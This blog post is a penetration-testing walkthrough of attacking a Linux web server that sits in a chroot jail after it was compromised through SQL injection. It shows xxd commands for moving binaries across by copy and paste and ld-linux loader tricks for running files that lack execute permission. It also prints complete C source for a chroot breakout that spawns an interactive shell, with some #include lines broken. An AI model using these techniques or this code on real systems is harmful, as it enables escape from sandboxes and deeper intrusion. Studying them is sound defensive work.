Skip to content

Linux – Execute a Non-Executable

by on August 7, 2013

Binary code

This blog post, is a small walkthrough of tackling an odd exploitation problem, on a Linux web server, that is running a chroot-jail, that was compromised via an SQL injection.

The post will walk you through the process of copying binaries using copy and paste, how to execute non-executables, in addition to breaking out of chrooted environments.

More info on chroot jails can be found here: http://www.cyberciti.biz/tips/rhel-centos-apache-chrootjail-virtual-hosting.html

Problem Description

We recently achieved remote command line access on a compromised Linux web-server, via SQLi. The server had a particular strange challenge.  The system allowed the creation of new files; But the environments umask was modified, thus removing execute permissions from newly create files. Additionally, the environment was lacking the chmod binary, to modify the permissions of any new file create.

The environment is a restricted chroot jail.

In order to break out of the jail, we have to leverage an additional vulnerability, or gain root access.  But first we have to find a way to execute files on the system.

A simple way of copying binaries via copy and paste is to use xxd:

Extract binary as text (local system):
xxd -a ./exploit > exploit.txt

After text has been copied on the remote system, convert it back into a binary:
cat exploit.txt |xxd -r > exploit

Now the problem… The default umask means the file does not automatically inherit execute permissions and the chroot is missing chmod…

So how do we execute “exploit” as it does not have execute permissions!  Below is a simple example of how to execute non-executable files, by using ld-linux*.so shared libraries:

Demonstration

i386 (x86)

$ls -l ./exploit
-rw-r--r--  1 dude  staff  940 14 May 09:09 program
$ ./exploit
-bash: ./exploit : Permission denied
$ /lib/ld-linux.so.2 ./exploit
"Exploit Running..."

x86_64 (amd64)

The process is very similar to the x86 demonstration above:

$ /lib/ld-linux-x86-64.so.2 ./exploit
"Exploit Running..."

Back to the Root

Leveraging some bad security practises on the system, we were able to gain root privileges. Using the same process above, we dropped a precompiled-chroot-breakout executable. Thus allowing us to escape the Jail, and attack the heart of the server.

Chroot Breakout Source

#include   
#include   
#include   
#include   
#include   
#include <sys/stat.h>  
#include <sys/types.h>  

/*  
** You should set NEED_FCHDIR to 1 if the chroot() on your  
** system changes the working directory of the calling  
** process to the same directory as the process was chroot()ed  
** to.  
**  
** It is known that you do not need to set this value if you  
** running on Solaris 2.7 and below.  
**  
*/  
#define NEED_FCHDIR 0  

#define TEMP_DIR "waterbuffalo"  

/* Break out of a chroot() environment in C */  

int main() {  
  int x;            /* Used to move up a directory tree */  
  int done=0;       /* Are we done yet ? */  
#ifdef NEED_FCHDIR  
   int dir_fd;       /* File descriptor to directory */  
#endif  
   struct stat sbuf; /* The stat() buffer */  

/*  
** First we create the temporary directory if it doesn't exist  
*/  
  if (stat(TEMP_DIR,&sbuf)<0) {  
    if (errno==ENOENT) {  
      if (mkdir(TEMP_DIR,0755)<0) {  
        fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,  
                strerror(errno));  
        exit(1);  
      }  
    } else {  
      fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,  
              strerror(errno));  
      exit(1);  
    }  
  } else if (!S_ISDIR(sbuf.st_mode)) {  
    fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);  
    exit(1);  
  }  

#ifdef NEED_FCHDIR  
/*  
** Now we open the current working directory  
**  
** Note: Only required if chroot() changes the calling program's  
**       working directory to the directory given to chroot().  
**  
*/  
  if ((dir_fd=open(".",O_RDONLY))<0) {  
    fprintf(stderr,"Failed to open for reading - %s\n", strerror(errno));  
    exit(1);  
  }  
#endif  
/*  
** Next we chroot() to the temporary directory  
*/  
  if (chroot(TEMP_DIR)<0) {  
    fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,  
            strerror(errno));  
    exit(1);  
  }  

#ifdef NEED_FCHDIR  
/*  
** Partially break out of the chroot by doing an fchdir()  
**  
** This only partially breaks out of the chroot() since whilst  
** our current working directory is outside of the chroot() jail,  
** our root directory is still within it. Thus anything which refers  
** to "/" will refer to files under the chroot() point.  
**  
** Note: Only required if chroot() changes the calling program's  
**       working directory to the directory given to chroot().  
**  
*/  
  if (fchdir(dir_fd)<0) {  
    fprintf(stderr,"Failed to fchdir - %s\n",  
            strerror(errno));  
    exit(1);  
  }  
  close(dir_fd);  
#endif  

/*  
** Completely break out of the chroot by recursing up the directory  
** tree and doing a chroot to the current working directory (which will  
** be the real "/" at that point). We just do a chdir("..") lots of  
** times (1024 times for luck :). If we hit the real root directory before  
** we have finished the loop below it doesn't matter as .. in the root  
** directory is the same as . in the root.  
**  
** We do the final break out by doing a chroot(".") which sets the root  
** directory to the current working directory - at this point the real  
** root directory.  
*/  
  for(x=0;x<1024;x++) {  
    chdir("..");  
  }  
  chroot(".");  

/*  
** We're finally out - so exec a shell in interactive mode  
*/  
  if (execl("/bin/sh","-i",NULL)<0) {  
    fprintf(stderr,"Failed to exec - %s\n",strerror(errno));  
    exit(1);  
  }  
}
Leave a Comment

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: